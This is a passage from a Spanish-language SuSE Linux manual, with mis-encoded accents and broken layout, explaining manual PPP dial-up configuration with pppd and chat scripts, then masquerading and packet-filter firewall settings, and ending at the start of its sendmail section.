  12661.                                  Hay  informaci≤n  adicional  sobre  setserial  en  la  pßgina  del  manual  de
  12662.                                  setserial         (man  setserial           ).
  12663.                             4.   Para comprobar la configuraci≤n de la interface, se puede usar el comando
  12664.                                  wvdialconf  /dev/null                 .  Con este comando se comprueban todas las
  12665.                                  interfaces (puertos) ttySx y el modem deberφa ser reconocido.
  12666.  
  12667.  
  12668. 196
  12669.        ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________*
  12670.  *______________________
  12671.  
  12672.  
  12673.  
  12674.       Observaci≤n:  Una alternativa a la configuraci≤n con setserial es la mod-
  12675.       ificaci≤n de la configuraci≤n de IRQ's en la BIOS. Solo es posible si la
  12676.       BIOS lo permite y tambiΘn si no se requiere modificar la direcci≤n de E/S
  12677.       (IO).
  12678.       Para realizar esta modificaci≤n de la BIOS, averigⁿe en cußl ranura PCI
  12679.       se encuentra la tarjeta. En el programa de configuraci≤n de algunas BIOS
  12680.       existe un sub-men· que permite configurar las interfaces PCI. Se define
  12681.       una interrupci≤n (IRQ) fija para cada ranura; seleccione como IRQ fija la
  12682.       ''propuesta'' por la BIOS. El valor serß generalmente IRQ 3 o IRQ 4.  En
  12683.       el pr≤ximo arranque, la IRQ real se ajusta a la predefinida.
  12684.  
  12685. 6.6.5      Configuraci≤n manual de PPP para ''profesionales''
  12686.  
  12687. Si  por  alguna  raz≤n  la  configuraci≤n  del  acceso  a  Internet  no  hubiera  fun-
  12688. cionado, es posible seguir los pasos que se detallan a continuaci≤n para es-
  12689. tablecer una configuraci≤n manual. Sin embargo, es preferible usar wvdial  al
  12690. comenzar con la configuraci≤n.
  12691.        _______________________________________________________________________________________________________________________
  12692.        ||||||||  Hay algunas configuraciones y scripts de ejemplo en el paquete inetcfg,                        ||             |
  12693.        ||||||||                                                                                                 ||             |
  12694.        ||||||||  serie n, en el paquete ppp_nt y en el paquete toppp, serie doc.                                ||             |
  12695.        ||||||||_______________________________________________________________________________________________________________||_
  12696.  
  12697. Establecer la conexi≤n
  12698.  
  12699. La conexi≤n PPP se establece en dos pasos:
  12700.  
  12701.   o   Primero se crea la conexi≤n entre los dos modems.  De esto se encarga el
  12702.       programa chat .
  12703.   o   Una vez establecida la conexi≤n, chat se ocupa tambiΘn de entrar al servi-
  12704.       dor (login) y pasa despuΘs el control al daemon PPP. Este inicia despuΘs
  12705.       el protocolo PPP.
  12706.  
  12707. DespuΘs de haber instalado el paquete inetcfg, encontrarß en el directorio
  12708. /usr/doc/packages/inetcfg  el  script  ppp-up ,  el  cual  se  debe  copiar  al
  12709. directorio /etc/ppp para modificarlo posteriormente seg·n sus necesidades.
  12710.  
  12711. Con ppp-up se inicia entonces la conexi≤n PPP.
  12712.  
  12713. Primero se definen las direcciones IP de servidor y cliente.  pppd  preguntarß
  12714. al  servidor  por  su  direcci≤n  y  por  la  del  cliente  en  caso  de  haber  indicado
  12715. con  anterioridad  0.0.0.0       como  direcci≤n  IP  del  cliente  y,  si  se  ha  dejado
  12716. vacφo  el  campo  para  la  direcci≤n  IP  del  servidor  tal  como  se  puede  ver  en
  12717. el fichero 6.6.4 en la pßgina siguiente.  Conociendo de antemano las direc-
  12718. ciones o descartando la asignaci≤n dinßmica de Θstas,  se pueden anotar las
  12719. direcciones IP correspondientes.
  12720.  
  12721. Mßs adelante se se±ala el dispositivo al cual estß conectado el modem.  Los
  12722. banderines (ingl. flags) avisan a pppd  que se comunique a una velocidad de
  12723. 38400 bps con el modem y que se anote la conexi≤n PPP como Default Route
  12724. (Ruta predeterminada) en la tabla de ''routing'' del kernel. Existe una multitud
  12725. de  banderines  y  opciones  adicionales  cuyos  significados  se  explican  en  la
  12726. pßgina del manual de pppd    (man  8  pppd       ) y en el fichero /usr/doc/howto/
  12727. en/PPP-HOWTO.gz. El ejemplo bßsico dado deberφa funcionar en la mayorφa
  12728. de los casos.
  12729.  
  12730.  
  12731.                                                                                                                                    *
  12732.  *   197
  12733. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12734.  *_______________________________________@
  12735.  
  12736.                            ________________________________________________________________________________________________________*
  12737.  *________||||
  12738.                            | #!/bin/sh                                                                                             *
  12739.  *         |
  12740.                            ||#                                                                                                     *
  12741.  *         ||
  12742.                            | #  /etc/ppp/ppp-up                                                                                    *
  12743.  *         |
  12744.                            | #                                                                                                     *
  12745.  *         |
  12746.                            |                                                                                                       *
  12747.  *         |
  12748.                            | #  Establecimiento  de  una  conexi≤n  PPP                                                            *
  12749.  *         |
  12750.                            | #                                                                                                     *
  12751.  *         |
  12752.                            |                                                                                                       *
  12753.  *         |
  12754.                            |                                                                                                       *
  12755.  *         |
  12756.                            | localip=0.0.0.0                                                                                       *
  12757.  *         |
  12758.                            |                                                                                                       *
  12759.  *         |
  12760.                            | remoteip=                                                                                             *
  12761.  *         |
  12762.                            |                                                                                                       *
  12763.  *         |
  12764.                            | device=/dev/modem                                                                                     *
  12765.  *         |
  12766.                            |                                                                                                       *
  12767.  *         |
  12768.                            |                                                                                                       *
  12769.  *         |
  12770.                            | pppflags="38400  modem  debug  defaultroute"                                                          *
  12771.  *         |
  12772.                            |                                                                                                       *
  12773.  *         |
  12774.                            |                                                                                                       *
  12775.  *         |
  12776.                            | /usr/sbin/pppd  lock  connect  \                                                                      *
  12777.  *         |
  12778.                            |                                                                                                       *
  12779.  *         |
  12780.                            |             '/usr/sbin/chat  -v  -f  /etc/ppp/ppp.chat'  \                                            *
  12781.  *         |
  12782.                            |             $device  $pppflags  $localip:$remoteip                                                    *
  12783.  *         |
  12784.                            |_______________________________________________________________________________________________________*
  12785.  *________ |
  12786.  
  12787.                                                           Fichero 6.6.4: /etc/ppp/ppp-up
  12788.                            Ahora chat  se encarga de establecer la conexi≤n del modem, tal como se ha
  12789.                            definido en el fichero /etc/ppp/ppp.chat:
  12790.  
  12791.  
  12792.                            ________________________________________________________________________________________________________*
  12793.  *________||
  12794.                            | TIMEOUT  30                                                                                           *
  12795.  *         |
  12796.                            |                                                                                                       *
  12797.  *         |
  12798.                            | ABORT  "NO  CARRIER"                                                                                  *
  12799.  *         |
  12800.                            | ABORT  BUSY                                                                                           *
  12801.  *         |
  12802.                            | ABORT  "NO  DIALTONE"                                                                                 *
  12803.  *         |
  12804.                            |                                                                                                       *
  12805.  *         |
  12806.                            | ABORT  ERROR                                                                                          *
  12807.  *         |
  12808.                            | ""  +++ATZ                                                                                            *
  12809.  *         |
  12810.                            |                                                                                                       *
  12811.  *         |
  12812.                            | OK  ATDT931234567                                                                                     *
  12813.  *         |
  12814.                            | CONNECT  ""                                                                                           *
  12815.  *         |
  12816.                            |                                                                                                       *
  12817.  *         |
  12818.                            | ogin:--ogin:  <ppplogin>                                                                              *
  12819.  *         |
  12820.                            | word:  <ppppassword>                                                                                  *
  12821.  *         |
  12822.                            |_______________________________________________________________________________________________________*
  12823.  *________ |
  12824.  
  12825.  
  12826.                                                         Fichero 6.6.5: /etc/ppp/ppp.chat
  12827.  
  12828.  
  12829.  
  12830.                            Las lφneas que comienzan con ABORT     , definen las respuestas del modem que
  12831.                            se±alan  una  conexi≤n  fallida.   La  cadena  +++ATZ       sirve  para  inicializar  el
  12832.                            m≤dem.
  12833.  
  12834.  
  12835.  
  12836.                            Con  ATDT09113247122               el  modem  llama  al  servidor.   Cuando  el  modem
  12837.                            recibe  la  cadena  CONNECT      ,  comienza  el  proceso  de  entrada  al  sistema  (in-
  12838.                            gl.  login).  Primero  se  envφa  el  nombre  de  entrada  al  servidor  y  despuΘs  la
  12839.                            contrase±a.  Hay mßs informaci≤n sobre chat  en pßgina del manual de chat
  12840.                            (man  8  chat       ).
  12841.  
  12842.  
  12843.                            Si los atributos de ambos ficheros estßn configurados correctamente,  la lla-
  12844.                            mada a ppp-up es suficiente para iniciar la conexi≤n PPP.
  12845.  
  12846.  
  12847. 198
  12848.        ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________*
  12849.  *______________________
  12850.  
  12851.        _______________________________________________________________________________________________________________________|||
  12852.        ||||||||  La variable de entorno PATH no contiene la rama en la que se encuentra el                      ||             |
  12853.        ||||||||                                                                                                 ||             |
  12854.        ||||||||  script de llamada ppp-up , si lo ha grabado en /etc/ppp/ppp-up como se                         ||             |
  12855.        ||||||||                                                                                                 ||             |
  12856.        ||||||||  ha explicado en este capφtulo, por este motivo debe iniciar la rama completa                   ||             |
  12857.        ||||||||  para llamar al script:                                                                         ||             |
  12858.        ||||||||                                                                                                 ||             |
  12859.        ||||||||        tierra:/root  #  /etc/ppp/ppp-up                                                         ||             |
  12860.        ||||||||  Antes tiene que poner el atributo `x' (ejecutable) del fichero, p. ej.  medi-                  ||             |
  12861.        ||||||||                                                                                                 ||             |
  12862.        ||||||||  ante:                                                                                          ||             |
  12863.        ||||||||        tierra:/root  #  chmod  755  /etc/ppp/ppp-up                                             ||             |
  12864.        ||||||||_______________________________________________________________________________________________________________||_
  12865.  
  12866. La conexi≤n se finaliza parando el daemon PPP, lo que se puede realizar p. ej.
  12867. con el script /etc/ppp/ppp-down :
  12868.  
  12869.        _______________________________________________________________________________________________________________________||
  12870.        |||||||| #!/bin/sh                                                                                                      |
  12871.        |||||||| #                                                                                                              |
  12872.        ||||||||                                                                                                                |
  12873.        |||||||| #  /etc/ppp/ppp-down                                                                                           |
  12874.        |||||||| #                                                                                                              |
  12875.        ||||||||                                                                                                                |
  12876.        |||||||| #  Terminar  conexi≤n  PPP                                                                                     |
  12877.        |||||||| #                                                                                                              |
  12878.        ||||||||                                                                                                                |
  12879.        ||||||||                                                                                                                |
  12880.        |||||||| kill  `cat  /var/run/ppp0.pid`                                                                                 |
  12881.        ||||||||_______________________________________________________________________________________________________________ |
  12882.  
  12883.                               Fichero 6.6.6: /etc/ppp/ppp-down
  12884.  
  12885.  
  12886. Aquφ  las  comilla  son  muy  importantes  (comilla  al  revΘs  |__|`,  que  se  ob-
  12887. tiene  pulsando  dicha  tecla  seguida  de  un  espacio).     Se  trata  de  una
  12888. substituci≤n  de  comando  con  la  cual  se  pasa  el  resultado  del  comando
  12889. cat  /var/run/ppp0.pid                    al programa kill .
  12890.  
  12891.  
  12892. Adaptaci≤n del Chat-script
  12893.  
  12894. Naturalmente hay que adaptar siempre el chat-script /etc/ppp/ppp.chat a
  12895. sus necesidades, introduciendo el nombre de entrada propio y la contrase±a.
  12896. Muchas  veces  se  cambia  toda  la  secuencia  de  ''login''  y  en  algunos  casos
  12897. es incluso necesario iniciar en la contraparte el protocolo PPP, p. ej.   con el
  12898. comando ppp  default         . Para todo esto no hay ninguna descripci≤n genΘrica.
  12899.  
  12900. El proceso de entrada al sistema con un terminal es equiparable a un ''login''
  12901. normal con la diferencia que este proceso manual se automatiza con el Chat-
  12902. script.  Diferente serφa el caso cuando se necesita una autorizaci≤n especial a
  12903. travΘs de PAP, CHAP o similar.
  12904.  
  12905. Se recomienda seguir el procedimiento que se detalla a continuaci≤n:
  12906.  
  12907.   o   Lea cuidadosamente la informaci≤n del proveedor y averigⁿe si Θste ya
  12908.       tiene  un  script  para  conectar;  en  caso  positivo  contacte  por  favor  con
  12909.       nosotros para que podamos coleccionarlos y a su vez ponerlos en nuestra
  12910.       distribuci≤n  a  disposici≤n  de  todos.   Puede  acceder  a  esta  informaci≤n
  12911.       mediante nuestro banco de datos de soporte que se encuentra en:
  12912.  
  12913.       http://sdb.suse.de/sdb/de/html/
  12914.  
  12915.   o   íPrepare lßpiz y papel!
  12916.  
  12917.   o   Conecte  manualmente  con  un  programa  de  terminal  (p. ej.   Minicom
  12918.       (minicom  -s        ))  y  efect·e  el  ''login'',  anotando  exactamente  lo  que  se
  12919.  
  12920.  
  12921.                                                                                                                                    *
  12922.  *   199
  12923. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12924.  *_______________________________________@
  12925.  
  12926.  
  12927.  
  12928.                                  envφa, en quΘ orden y cußles son las indicaciones necesarias por parte del
  12929.                                  usuario.  La mayorφa de los programas de terminal (como tambiΘn mini-
  12930.                                  com ) permiten protocolizar los textos en pantalla._En_el caso de minicom  ____
  12931.                                  se alcanza_con la combinaci≤n de teclas |A____l|t+ |l_ |(íLa combinaci≤n |A____l|t
  12932.                                  + |z_ |muestra una lista de todas la combinaciones posibles!).
  12933.                              o   Siga en este proceso hasta el momento en el cual la contraparte cambia al
  12934.                                  modo PPP, lo que deberφa ser visible a travΘs de un mensaje, p. ej.   "ppp-
  12935.                                  protocol  started".
  12936.                              o   La conexi≤n que existe_en aquel_momento se cancela simplemente col-
  12937.                                  gando (Minicom: |A____l|t+ |h_ |)           ____       _
  12938.                              o   Finalice el programa de terminal (Minicom |A____l|t+ |x_ |)
  12939.                              o   Puede adaptar ahora el chat-script con el protocolo de la conexi≤n manual.
  12940.  
  12941.                            A continuaci≤n vienen un par de explicaciones adicionales acerca de chat .
  12942.                            El programa chat  se inicializa mediante la primera secuencia:
  12943.                                  TIMEOUT  30
  12944.                                  ABORT  "NO  CARRIER"
  12945.                                  ABORT  BUSY
  12946.                                  ABORT  "NO  DIALTONE"
  12947.                                  ABORT  ERROR
  12948.                            ________________________________________________________________________________________________________*
  12949.  *________||
  12950.                            |  El tiempo de espera TIMEOUT        depende individualmente del tiempo nece-                          *
  12951.  *        ||||
  12952.                            |  sario para establecer la comunicaci≤n y debe ser mßs alto en algunos casos,                          *
  12953.  *        |||
  12954.                            |                                                                                                       *
  12955.  *        |||
  12956.                            |  p. ej.  60  .                                                                                        *
  12957.  *        |||
  12958.                            |_______________________________________________________________________________________________________*
  12959.  *________|||_
  12960.  
  12961.                            El comando ABORT      indica con cußles respuestas por parte del modem debe
  12962.                            finalizar el script.
  12963.  
  12964.                            Las siguientes lφneas en el script siguen el esquema expuesto a continuaci≤n:
  12965.  
  12966.                            El primer parßmetro (hasta el primer espacio), indica lo que el programa debe
  12967.                            esperar;  si  recibe  esta  cadena  de  parte  del  modem,  el  programa  responde
  12968.                            envißndole el contenido del resto de la lφnea.
  12969.                                   +++ATZ
  12970.  
  12971.                            Aquφ  no  se  espera  ninguna  cadena  si  no  se  inicializa  el  modem  inmediata-
  12972.                            mente, pero esto depende de su modem y del perfil almacenado. El comando
  12973.                            ATZ    carga normalmente el perfil 0 del modem (lo mismo ocurre despuΘs de
  12974.                            encenderlo).  Tal  vez  tendrß  que  poner  un  comando  diferente;  para  saberlo
  12975.                            puede comparar p. ej.  con su software de conexi≤n de DOS o de Windows.
  12976.                            ________________________________________________________________________________________________________*
  12977.  *________||
  12978.  
  12979.                            |  Si su modem hace cualquier cosa menos lo que deberφa hacer, es posible                               *
  12980.  *        ||||
  12981.                            |  que se haya desajustado por completo, de tal manera que a veces el prob-                             *
  12982.  *        |||
  12983.                            |                                                                                                       *
  12984.  *        |||
  12985.                            |  lema ni siquiera se resuelve con un ATZ   .  En este caso, lo mejor es enviar                        *
  12986.  *        |||
  12987.                            |  el comando AT&F     al modem usando p. ej.  Minicom.  Con esto, el modem                             *
  12988.  *        |||
  12989.                            |                                                                                                       *
  12990.  *        |||
  12991.                            |  se resetea a la configuraci≤n de fßbrica.                                                            *
  12992.  *        |||
  12993.                            |_______________________________________________________________________________________________________*
  12994.  *________|||_
  12995.  
  12996.                            Ahora se marca y se ejecuta la secuencia de ''login'', p. ej. :
  12997.                                  OK  ATDT<n·mero_de_telΘfono>
  12998.                                  CONNECT  ""
  12999.                                  ogin:--ogin:  <cuenta>
  13000.                                  word:  <contrase±a_cuenta>
  13001.  
  13002. 200
  13003.        ________________________________________________6.7.__Masquerading_y_Firewall_~_amigos_y_''amiguetes''______________________*
  13004.  *______________________
  13005.  
  13006.  
  13007.  
  13008. Introduzca  las  variables  que  corresponden  a  su  instalaci≤n  en  lugar  de:
  13009. <n·mero`de`telΘfono>, <cuenta> y <contrase±a`cuenta>.
  13010.  
  13011. Tenga en cuenta que en este ejemplo se busca solamente word:     ,  porque la
  13012. secuencia exacta enviada podrφa ser igualmente Password:         o password:        .
  13013.  
  13014. Con la lφnea
  13015.  
  13016.       ogin:--ogin:
  13017.  
  13018. se pretende conseguir una cierta flexibilidad a la hora de detectar la cadena
  13019. que pide la entrada al sistema, ya que se envφa un `Return' si la primera ca-
  13020. dena (ogin:     ) no fue detectada esperando despuΘs otra vez la cadena (ogin:     ).
  13021.  
  13022. La  pßgina  del  manual  de  chat    (man  8  chat       )  contiene  mßs  informaci≤n  y
  13023. ejemplos al respecto.
  13024.  
  13025. Allφ se encuentra tambiΘn la ''motivadora'' advertencia:
  13026.  
  13027.       `` In actual practice, simple scripts are rare. ''
  13028.        _______________________________________________________________________________________________________________________
  13029.        ||||||||  Ning·n Chat-script debe contener ninguna lφnea vacφa, ning·n espacio al                        ||             |
  13030.        ||||||||                                                                                                 ||             |
  13031.        ||||||||  comienzo de la lφnea y ning·n comentario.                                                      ||             |
  13032.        ||||||||_______________________________________________________________________________________________________________||_
  13033.  
  13034. Se puede probar ahora la conexi≤n con el comando /etc/ppp/ppp-up              . Los
  13035. mensajes de error que genera p. ej.  el Chat-script no aparecen en pantalla sino
  13036. que se apuntan en el fichero /var/log/messages.  Las entradas actuales se
  13037. pueden visualizar introduciendo en una segunda consola el comando:
  13038.  
  13039.       tierra:/  #  tail  -f  /var/log/messages
  13040.  
  13041. De este modo se ve en seguida cuando aparecen mensajes importantes.
  13042.  
  13043.  
  13044.  
  13045. 6.7       Masquerading y Firewall ~ amigos y ''amiguetes''
  13046.  
  13047. Muchos usuarios de SuSE     Linux usan la computadora como mßquina de ac-
  13048. ceso a Internet a travΘs de llamada telef≤nica o a travΘs de una lφnea dedicada.
  13049. En la red local se usan muchas veces direcciones IP privadas, que no pueden
  13050. acceder directamente a Internet; para habilitar el acceso, existe la posibilidad
  13051. de usar la tΘcnica de ''Masquerading''.  Para usarla instale el paquete fire-
  13052. wals de la serie sec que contiene un script para el uso de masquerading y de
  13053. un cortafuegos (ingl. firewall).  Ambos servicios se configuran con el fichero
  13054. /etc/rc.firewall, ya que es muy recomendable usar tambiΘn un cortafue-
  13055. gos para proteger la red contra intrusos.  En todo caso lea la documentaci≤n
  13056. en /usr/doc/packages/firewals.
  13057.        _______________________________________________________________________________________________________________________||
  13058.  
  13059.        ||||||||  No se puede garantizar el funcionamiento total de los procedimientos pre-                      |||            |
  13060.        ||||||||  sentados.  Por eso le rogamos no responsabilizar a los autores del libro si                    ||             |
  13061.        ||||||||                                                                                                 ||             |
  13062.        ||||||||  alg·n ''hacker'' entre en su sistema, aunque todo estΘ correctamente config-                   ||             |
  13063.        ||||||||  urado.  Naturalmente estamos abiertos a crφticas y propuestas presentadas                      ||             |
  13064.        ||||||||                                                                                                 ||             |
  13065.        ||||||||  en feedback@suse.de y si existe algo para mejorar, lo mejoraremos !                            ||             |
  13066.        ||||||||_______________________________________________________________________________________________________________||_
  13067.  
  13068.  
  13069. 6.7.1      Fundamentos de ''Masquerading''
  13070.  
  13071. Para  el  ''masquerading''  se  necesitan  dos  dispositivos  de  red;  uno  de  ellos
  13072. es  generalmente  una  tarjeta  Ethernet,  que  conecta  con  la  red  interna;  Θsta
  13073.  
  13074.  
  13075.                                                                                                                                    *
  13076.  *   201
  13077. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13078.  *_______________________________________@
  13079.  
  13080.  
  13081.  
  13082.                            debe usar direcciones de red de un ßrea privada, prevista para ello como p. ej.
  13083.                            192.168.0.0           hasta 192.168.255.255              .  En este ejemplo supongamos que
  13084.                            el enrutador que estamos configurando, tiene la direcci≤n IP 192.168.0.1
  13085.                            sobre la tarjeta red que conecta hacia la red interna. De este modo resulta que
  13086.                            las computadoras de la red interna tienen las direcciones IP 192.168.0.2          ,
  13087.                            192.168.0.3          , etc.
  13088.  
  13089.                            El dispositivo de red externo es p. ej.  la tarjeta RDSI que se usa para el acceso
  13090.                            a Internet o una lφnea dedicada, conectada a una tarjeta Ethernet.  Esta es la
  13091.                            suposici≤n para el ejemplo; la configuraci≤n se explica mßs abajo.
  13092.  
  13093.  
  13094.                            6.7.2      Principios de un cortafuegos
  13095.  
  13096.                            En  realidad  el  paquete  firewals  no  contiene  ning·n  cortafuegos,  sino  un
  13097.                            ''filtro  de  paquetes''.   Este  protege  la  red  contra  accesos  a  direcciones  IP  y
  13098.                            puertos que no estΘn explφcitamente abiertos.  Si la computadora act·a como
  13099.                            servidor  de  web,  tiene  que  tener  el  puerto  80  abierto,  para  que  se  pueda
  13100.                            acceder a ella; asφ que evidentemente la computadora no estß protegida contra
  13101.                            ataques  a  este  puerto.   El  filtro  de  paquetes  no  puede  ni  debe  reemplazar
  13102.                            ning·n  cortafuegos  a  nivel  de  aplicaci≤n,  que  debe  ser  configurado  por  un
  13103.                            servicio tΘcnico profesional. Sin embargo, la instalaci≤n del filtro de paquetes
  13104.                            ya es una buena medida de seguridad p. ej.  para el uso en casa.
  13105.  
  13106.  
  13107.                            6.7.3      Configuraci≤n de Masquerading y/o Firewall
  13108.  
  13109.                            La  documentaci≤n  sobre  el  SuSE    -Firewall  se  encuentra  en  /usr/doc/
  13110.                            packages/firewall  y  algo  de  teorφa  en  el  capφtulo  18.1  en  la  pßgi-
  13111.                            na 451Fundamentossection.18.1.
  13112.  
  13113.                            Todos los detalles de la configuraci≤n se encuentran en el fichero /etc/rc.
  13114.                            firewall  y  se  explican  allφ  en  inglΘs.   Aquφ  le  damos  paso  por  paso  las
  13115.                            instrucciones  necesarias  para  una  configuraci≤n  exitosa.   Para  cada  detalle
  13116.                            de la configuraci≤n se explica si Θsta vale para Firewall o para Masquerading.
  13117.                            Aquφ no se explica el significado de DMZ ''zona no militarizada'', que aparece
  13118.                            en el fichero de configuraci≤n.
  13119.  
  13120.                            Si  realmente  no  necesita  nada  mßs,  aparte  de  ''Masquerading'',  solamente
  13121.                            rellene las lφneas marcadas con Masquerading.
  13122.  
  13123.                              o   FW_START        (Firewall, Masquerading):  Poner en yes    para que el script se
  13124.                                  inicie. Esto habilita firewall y/o masquerading.
  13125.  
  13126.                              o   FW_DEV_WORLD            (Firewall,  Masquerading):  For  exampleeth0    .   Aquφ  se
  13127.                                  indica  el  dispositivo  conectado  hacia  Internet.    En  caso  de  RDSI  es
  13128.                                  p. ej. ippp0    .
  13129.  
  13130.                              o   FW_DEV_INT          (Firewall, Masquerading): El dispositivo que se conecta con
  13131.                                  la  red  ''privada''.   Si  no  existe  ninguna  red  interna,  el  cortafuegos  solo
  13132.                                  protege a la misma computadora; deje este campo vacφo.
  13133.  
  13134.                              o   FW_ROUTE        (Firewall, Masquerading): Si necesita masquerading, tiene que
  13135.                                  indicar aquφ yes   . Para tener acceso a la red interna desde afuera, las com-
  13136.                                  putadoras internas necesitan tener direcciones IP oficialmente asignadas.
  13137.                                  íPor  lo  general  no  es  aconsejable  permitir  este  acceso!   Indicando  yes
  13138.                                  para  el  masquerading,  las  computadoras  internas  no  son  visibles  desde
  13139.  
  13140.  
  13141. 202
  13142.      ________________________________________________6.7.__Masquerading_y_Firewall_~_amigos_y_''amiguetes''________________________*
  13143.  *____________________
  13144.  
  13145.  
  13146.  
  13147.     fuera, ya que disponen de una direcci≤n IP privada (p. ej. 192.168.x.x          ),
  13148.     que no se ''rutea'' en Internet.
  13149. o   FW_MASQUERADE             (Masquerading):  Si  necesita  masquerading,  tiene  que
  13150.     indicar aquφ yes   .  Para las computadoras internas el acceso a Internet es
  13151.     mßs seguro si se efect·a a travΘs de un servidor proxy.
  13152. o   FW_MASQ_NETS            (Masquerading):  Aquφ se indican las computadoras y/o
  13153.     las redes que participan en el masquerading. Las entradas se separan con
  13154.     espacios, p. ej. :
  13155.  
  13156.           FW_MASQ_NETS="192.168.0.0/24  192.168.10.1"
  13157.  
  13158.  
  13159. o   FW_PROTECT_FROM_INTERNAL                        (Firewall):   Para  proteger  el  cortafue-
  13160.     gos  tambiΘn  contra  ataques  desde  la  red  interior,  hay  que  indicar  aquφ
  13161.     yes   .    En  tal  caso  hace  falta  habilitar  explφcitamente  aquellos  servi-
  13162.     cios  que  deben  estar  disponibles  para  la  red  interior.    Ver  tambiΘn
  13163.     FW_SERVICES_INTERNAL_TCP                       y FW_SERVICES_INTERNAL_UDP                      .
  13164. o   FW_AUTOPROTECT_GLOBAL_SERVICES                            (Firewall):  Normalmente se deja
  13165.     en yes   .
  13166. o   FW_SERVICES_EXTERNAL_TCP                       (Firewall):  Aquφ se indican los servicios
  13167.     a acceder p. ej. "www  smtp  ftp  domain  443"                   .  Para la computadora en
  13168.     casa, que normalmente no ofrece servicios a una red externa, no se indica
  13169.     nada.
  13170. o   FW_SERVICES_EXTERNAL_UDP                       (Firewall):  En este campo se introducen
  13171.     los  puertos  necesarios  para  utilizar  un  servidor  de  nombres  con  acceso
  13172.     desde afuera, por lo que puede quedar en blanco casi siempre.
  13173. o   FW_SERVICES_INTERNAL_TCP                       (Firewall): Aquφ se indican los servicios a
  13174.     los que tiene acceso la red interna. Es similar a FW_SERVICES_EXTERNAL_TCP                      ,
  13175.     pero aquφ las indicaciones se refieren a la red interna.
  13176. o   FW_SERVICES_INTERNAL_UDP                       (Firewall): VΘase arriba.
  13177. o   FW_TRUSTED_NETS               (Firewall):  Aquφ  se  apuntan  las  computadoras  que
  13178.     realmente son de fiar (''Trusted Hosts'').  Todas estas computadoras tam-
  13179.     biΘn deben estar protegidas contra intrusos. For example"172.20.0.0/16  64.33.13.24"
  13180.     significa  que  todas  las  computadoras  cuya  direcci≤n  IP  comienza  con
  13181.     172.20.x.x           y  la  que  tiene  la  IP  64.33.13.24            puedan  pasar  por  el
  13182.     cortafuegos.
  13183. o   FW_SERVICES_TRUSTED_TCP                      (Firewall): Aquφ se definen los puertos que
  13184.     los  ''Trusted  Hosts''  pueden  usar.    Para  que  las  computadoras  de  fiar
  13185.     puedan acceder a todos los servicios introduzca p. ej.  1:65535      .  Normal-
  13186.     mente es suficiente con indicar el servicio ssh   .
  13187. o   FW_SERVICES_TRUSTED_UDP                      (Firewall):  Lo mismo de arriba, pero ref-
  13188.     erente a UDP.
  13189. o   FW_ALLOW_INCOMING_HIGHPORTS_TCP                              (Firewall):   Para  trabajar  con
  13190.     FTP normal (activo) hay que indicar aquφ ftp-data       .
  13191. o   FW_ALLOW_INCOMING_HIGHPORTS_UDP                             (Firewall):  Para usar los servi-
  13192.     dores  de  nombres  que  estßn  dados  de  alta  en  /etc/resolv.conf  hay
  13193.     que introducir dns    aquφ. yes    abre todos los puertos de n·meros altos.
  13194. o   FW_SERVICE_DNS              (Firewall):   Si  existe  en  la  red  local  un  servidor  de
  13195.     nombre  con  acceso  desde  fuera  de  la  red,  hay  que  indicar  yes    aquφ;  a
  13196.     su vez el puerto 53 ha de estar abierto.
  13197.  
  13198.  
  13199.                                                                                                                                    *
  13200.  * 203
  13201. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13202.  *_______________________________________@
  13203.  
  13204.  
  13205.  
  13206.                              o   FW_SERVICE_DHCLIENT                  (Firewall):  Usando  el  dhclient  para  recibir  la
  13207.                                  direcci≤n IP, habrφa que indicar yes   .
  13208.                              o   FW_LOG_*       :  Aquφ se pueden indicar los eventos que se van protocolizan-
  13209.                                  do  en  un  fichero  de  butaca  (log).  Para  el  uso  normal  alcanza  yes    para
  13210.                                  FW_LOG_DENY_CRIT              .
  13211.                              o   FW_STOP_KEEP_ROUTING_STATE                        (Firewall): En caso de entrar a Internet
  13212.                                  de forma automßtica con diald  o vφa RDSI (dial on demand) indique yes
  13213.                                  aquφ.
  13214.  
  13215.                            Esto es todo. No olvide probar el cortafuegos (p. ej. con telnet      desde afuera).
  13216.                            Este intento se muestra en el fichero /var/log/messages aproximadamente
  13217.                            de la siguiente forma:
  13218.  
  13219.                            Feb    7  01:54:14  www  kernel:  Packet  log:  input  DENY  eth0
  13220.                            PROTO=6  129.27.43.9:1427  195.58.178.210:23  L=60  S=0x00
  13221.                            I=36981  F=0x4000  T=59  SYN  (#119)
  13222.  
  13223.  
  13224.                            6.8       Vamos a escribir ~ Configuraci≤n de sendmail
  13225.  
  13226.                            Una vez que nos podemos comunicar con el mundo ~ ya sea mediante UUCP,
  13227.                            PPP o RDSI ~ tambiΘn lo queremos aprovechar.  Una aplicaci≤n tφpica para
  13228.                            ello es el +  E-Mail, el correo electr≤nico, por lo que le presentamos aquφ un
  13229.                            apartado sobre la configuraci≤n de sendmail 3 .
  13230.  
  13231.                            sendmail decide con cußl medio enviar los E-Mail: a travΘs de una red TCP/IP
  13232.                            con  el  protocolo  SMTP,  directamente  a  la  carpeta  local  de  E-Mail  de  un
  13233.                            usuario o a travΘs de otros programas como UUCP.
  13234.  
  13235.                            El  fichero  de  configuraci≤n  principal  de  sendmail  es  /etc/sendmail.cf.
  13236.                            Con YaST  se puede generar el fichero /etc/sendmail.cf, que sirve para
  13237.                            una configuraci≤n sencilla.  De hecho los parßmetros de la configuraci≤n se
  13238.                            apuntan primero en /etc/rc.config.d/sendmail.rc.config; SuSEcon-
  13239.                            fig los toma de allφ y genera el fichero /etc/sendmail.cf usando para ello
  13240.                            /sbin/conf.d/SuSEconfig.sendmail.
  13241.  
  13242.                            Los  ficheros  de  configuraci≤n  de  sendmail  son  muy  complejos  pero  no  se
  13243.                            asuste,  pues SuSE      Linux incluye dos configuraciones que cubren todos los
  13244.                            casos que generalmente se presentan.
  13245.  
  13246.                            Usando sendmail  dentro de una red TCP/IP, es casi obligatorio apoyarse en
  13247.                            un servidor DNS. En este se deberφa poner una entrada extra (''MX record'',
  13248.                            ''mail exchange record'') para los E-Mail.  La configuraci≤n actual se puede
  13249.                            comprobar con el comando host     del paquete bind:
